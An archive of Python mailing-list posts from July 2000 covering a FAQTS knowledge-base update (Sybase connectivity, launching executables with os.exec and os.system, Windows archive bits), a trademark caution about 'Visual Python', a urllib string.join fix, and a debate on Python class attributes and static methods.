> > can't find it.  Do I have the name right?  I found the IDLE source code
in
> > with the Python 1.5.2 source code but there was nothing called
TreeWidget
> > there.
> >
> > Thanks,
> >
> > Tom.
> >
> >
> >
>
>




From fiona at sitegnome.com.bbs  Sat Jul 15 21:00:02 2000
From: fiona at sitegnome.com.bbs (fiona at sitegnome.com.bbs)
Date: 16 Jul 2000 01:00:02 GMT
Subject: [FAQTS] Python Knowledge Base Update -- July 15th, 2000
Message-ID: <3bQ4R3$ib_@openbazaar.net>

Hi List,

Here are the latest entries into http://python.faqts.com

cheers,

Fiona


## Unanswered Questions ########################################


-------------------------------------------------------------
Is there any way I can prevent pythonwin(scintilla) from reading the method names of a specific class
http://www.faqts.com/knowledge-base/view.phtml/aid/4734
-------------------------------------------------------------
Nils Otto Johansen



## New Entries #################################################


-------------------------------------------------------------
Where can I find a DB-API connection to Sybase?
http://www.faqts.com/knowledge-base/view.phtml/aid/4753
-------------------------------------------------------------
Fiona Czuczman
Paul Boddie

The 'ctsybasemodule' apparently resides at the following URL:

  http://starship.python.net/crew/pgodman/

Whilst 'ctsybasemodule' is rather nice, I found it insufficient for my
purposes (no "bind variables" in SQL statements) and decided on mxODBC
instead:

  http://starship.python.net/crew/lemburg/mxODBC.html

If you decide to pursue that option, I would suggest looking at my ODBC
resources page:

  http://www.crosswinds.net/~pboddie/Python/mxODBC.html

I managed to get mxODBC working with Adaptive Server Anywhere and
Adaptive Server Enterprise, but with the recent announcement of zxJDBC
you could use JPython and Sybase's jConnect software instead:

  http://www.ziclix.com/zxjdbc/
  http://www.jpython.org
  http://www.sybase.com/products/internet/jconnect/


-------------------------------------------------------------
How can I call an .exe file from inside a .py file?
http://www.faqts.com/knowledge-base/view.phtml/aid/4757
-------------------------------------------------------------
Fiona Czuczman
Alex Shindich, Gregoire Welraeds

Try this:

import os
os.execl ('foo.exe')

For more info read http://www.python.org/doc/current/lib/os-process.html

execl is kind of an alias for execv. So using this solution, be aware of
the following:

execv (path, args)
Execute the executable path with argument list args, replacing the
current process (i.e., the Python interpreter). The argument list may be
a tuple or list of strings. Availability: Unix, Windows.

This mean that if you have the following code in a file:

        import os
        os.execv("/bin/ls",("ls","/"))
        print "Done!"

The last line will never be executed because the python process is
replaced by the /bin/ls command. To avoid this, Unix allows you to use
the fork system call :
        import os
        i= os.fork()
        if i != 0:
                os.waitpid(i,0) # wait for the child to complete.
                print done!
        else:   #  child process
                os.execv("/bin/ls",("ls","/"))
 
Another and easier solution, which also works under Windows :

        import os
        os.system("foo.exe")
        print 'Done!'


## Edited Entries ##############################################


-------------------------------------------------------------
How can you check on the status of a file's "archive" bit, on DOS-type platforms
http://www.faqts.com/knowledge-base/view.phtml/aid/4706
-------------------------------------------------------------
Barry Pederson, Fiona Czuczman
http://www.python.org/windows/win32all/,Alex Martelli

On Win32, with Hammond's extensions:

PythonWin 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on
win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
Portions Copyright 1994-1999 Mark Hammond (MHammond at skippinet.com.au)
>>> from win32file import GetFileAttributes
>>> GetFileAttributes("C:/witha.txt")
32
>>> GetFileAttributes("C:/withouta.txt")
128
>>>

where witha.txt does have the A attribute and withouta.txt lacks it.

You can also use symbolic names for the constants:

>>> import win32file
>>> win32file.FILE_ATTRIBUTE_ARCHIVE
32
>>> win32file.FILE_ATTRIBUTE_NORMAL
128
>>>

Note that the 'normal' bits seems to be set if and only if no other
bits are set.  Other attributes in the bitmask behave more normally,
i.e., they are bitwise-or'ed to give all attributes of the file.

For example, after making witha.txt read-only (still _with_ the A
attribute as well), we have:

>>> GetFileAttributes("C:/witha.txt")
33
>>> win32file.FILE_ATTRIBUTE_READONLY
1
>>>

I.e., the attributes of the file are the bitwise-or of archive and
readonly.  So, if you only want to test for archive, and don't care
about the others, you'll bitwise-and GetFileAttributes' result with
FILE_ATTRIBUTE_ARCHIVE, rather than testing for equality!


From paul at prescod.net.bbs  Sun Jul 16 13:30:03 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 16 Jul 2000 17:30:03 GMT
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
Message-ID: <3bQUGR$lC7@openbazaar.net>

Phil Thompson wrote:
>
> ...
>
> The Visual Python home page is at http://www.thekompany.com/projects/vp/.

Be careful. When I worked at Watcom we tried to make "Visual REXX" to
hear that some other company (not Microsoft, but obviously related to
Microsoft) had a trademark on Visual X where X is a programming
language. Microsoft licenses the name and other people are supposed to
also.

Of course this was years and years ago so I don't know what the current
situation is.

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From hansup at prolynx.com  Fri Jul  7 14:25:34 2000
From: hansup at prolynx.com (Hans F. Updyke)
Date: Fri, 7 Jul 2000 12:25:34 -0600
Subject: urllib question
References: <394B196F.5ED9E73@fizzylab.com>
Message-ID: <h775k8.i06.ln@packbell.hansnet>

paul at fizzylab.com wrote in message <394B196F.5ED9E73 at fizzylab.com>...
>Why does the first example work, but not the second (actual
>URL not supplied, but you get the idea)?

[snip]

>u = urllib.urlopen(string.join(["http://cnn.com/",
>"index.html"]))
>print u.read()

O.K. I'm also new at Python, but I think I see a problem.  Try this:
>>> sample = string.join(["http://cnn.com/","index.html"])
>>> print sample
You should see that the two list members have been joined with a space in
between.  I suspect the web server only responded to the first part of your
expected URL.  You probably got the results you wanted by accident ---
"index.html" used as default response when no page name submitted in URL
request.  In other words, you would see the same output even if you used a
different valid page name.

You can avoid the included space by specifying an empty string as the
delimiter in the string.join method.  In my example, it would look like
this:
>>> sample = string.join(["http://cnn.com/","index.html"], "")

I'm not sure if this approach will fix your
"montstrousQueryString?withParameters" example.  AFAIK, there could be other
lingering problems I'm not smart enough to spot.

Also-learning-this-stuff-ly y'rs
HansUp





From mbaker at 0x7a69.net  Tue Jul 25 21:44:44 2000
From: mbaker at 0x7a69.net (Mark Baker)
Date: Tue, 25 Jul 2000 20:44:44 -0500
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <8ljrvu09t6@news1.newsguy.com>
Message-ID: <l8rf5.1529$ck7.387235@nntp1.onemain.com>

In article <8ljrvu09t6 at news1.newsguy.com>, "Alex Martelli"
<alex at magenta.com> wrote:

>> 1. There are no keywords to declare static or instance variables; it
>> all depends where they are placed(whether it's right after the <class>
>> statement, or inside a <def>). Isn't it harder for other programmers to
>> know at one glance what type of attributes the class define?
> 
> I see a "self.something=23", I know "self" is an instance variable; no
> muss, no fuss.  MUCH clearer than the implicit-this convention of C++
> and Java.  Explicit self -> less weirdness, not more.

Er....sort of.

class A:
	a = 200

	def __init__(self, x, y):
		self.x = x
		self.y = y

	def sum(self):
		return self.x + self.y + self.a # Scope within class, but accessible via self 

a = A(10, 20)
a.sum() => 230

An instance does a lookup inside of its class if something isn't found
within itself.


 
>> 2. No *formal* declaration of static class methods, e.g. no 'static'
>> keyword (though i'm not sure how useful static methods are in OOP
>> design). I read somewhere in this newsgroup that the workaround way is
>> to define the method outside of the class - doesn't it break the
>> 'encapsulation' a class suppose to have?
> 
> Encapsulation in Python is a matter of convention (as it actually ends
> up being in all languages, but most strive hard to make it appear they
> enforce it:-).  Static methods are not particularly useful when you can
> have free-standing functions in their stead, and grouping by-module is
> more productive than by-class (the class is not the natural unit of
> encapsulation, an issue that is also acknowledged by the package concept
> of Java and the friend keyword in C++).

friend is simply an evil way of violating encapsulation. It's not analogous to
modules, packages, or anything else. It simply provides a means of violating
C++'s encapsulation (usually for speed purposes, since you should be able
to use the accessor/mutator pattern to work with object properties)

packages and modules are more akin to categories or namespaces than the 
main unit of encapsulation, in an object sense.

Static functions aren't overly useful in Python because of the existance of
these categories, and the lack of enforced encapsulation. Mostly the latter,
but they're made more practical with the former.

>> codes... However, after reading the python book, my head is still
>> spinning, trying to catch all the 'intricacies' of this language. No
> 
> But there aren't any.  That's why it's so powerful!-)

Oh, there're a few. Just 99.9% of the time it probably is irrelevant to
the average Joe. Cyclic references, meta-class magic, some other minor stuff.

 
> Python, together with Smalltalk, Scheme, or Rexx, is an outstanding
> candidate for the _second_ way to look at the world.  Of these, Python
> would be my favourite were I to pick such a language today.

Many first year CS students are subjected to Scheme, and most of the ones
I've been in contact with have considered switching majors because of it.

I'd stick with one of the first two, for beginners.
Smalltalk with its uniformity and snapshot nature, and Python with its
expected mathematical operator precedance and non-class enforced view
of programming.
 
> (Other languages such as Perl, C++, Ada, Common Lisp, and so
> on, I view for different reasons as too complex and obtrusive to be good
> first-programming-languages, and similarly for lower-level languages
> such as C, machine language of any ilk, or Forth).

This is all especially true if you want to subject children to programming
early on, which is probably the best idea. At this point they aren't going
to need machine-oriented (C, C++, ...) or bloated languages 
(Common LISP, Ada, Perl, C++, ...).
In the long run any software engineer or computer scientist will need to learn
how the machines function, and how to make them do specific things.

For everyone else, there're practical languages. =)